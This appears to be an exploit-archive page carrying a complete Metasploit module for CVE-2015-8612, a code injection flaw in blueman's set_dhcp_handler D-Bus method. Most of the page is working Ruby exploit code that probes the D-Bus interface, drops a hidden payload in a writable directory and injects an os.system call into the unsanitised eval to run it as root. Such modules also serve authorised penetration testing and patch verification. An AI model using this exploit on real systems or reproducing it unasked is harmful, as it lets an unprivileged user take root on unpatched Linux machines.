blueman set_dhcp_handler D-Bus Privilege Escalation

2019.01.16
Credit: The Grugq
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges by exploiting a Python code injection vulnerability in blueman versions prior to 2.0.3. The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the `set_dhcp_handler` function which uses user input in a call to `eval`, without sanitization, resulting in arbitrary code execution as root. This module has been tested successfully with blueman version 1.23 on Debian 8 Jessie (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'the grugq', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2015-12-18', 'References' => [ ['BID', '79688'], ['CVE', '2015-8612'], ['URL', 'https://twitter.com/thegrugq/status/677809527882813440'], ['URL', 'https://github.com/blueman-project/blueman/issues/416'], ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'], ['URL', 'https://www.debian.org/security/2015/dsa-3427'], ['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'], ['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def dbus_send(dest:, type:, path:, interface:, contents:) cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}" end def check unless command_exists? 'dbus-send' vprint_error 'dbus-send is not installed. Exploitation will fail.' return CheckCode::Safe end vprint_good 'dbus-send is installed' res = dbus_send( dest: 'org.blueman.Mechanism', type: 'method_call', path: '/', interface: 'org.freedesktop.DBus.Introspectable.Introspect', contents: '' ) unless res.include? 'EnableNetwork' vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available' return CheckCode::Safe end vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available' res = execute_python('') unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)' vprint_error 'Target is not vulnerable' return CheckCode::Safe end CheckCode::Vulnerable end def execute_python(code) dbus_send( dest: 'org.blueman.Mechanism', type: 'method_call', path: '/', interface: 'org.blueman.Mechanism.EnableNetwork', contents: "'string:[]' 'string:[]' 'string:#{code}'" ) end def exploit unless check == CheckCode::Vulnerable unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 10..15}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe print_status 'Executing payload...' res = execute_python "os.system(\"#{payload_path}&\")" vprint_line res unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)' fail_with Failure::NotVulnerable, 'The target is not vulnerable' end if res.include? 'SyntaxError:' fail_with Failure::Unknown, 'Payload execution failed due to syntax error' end end end


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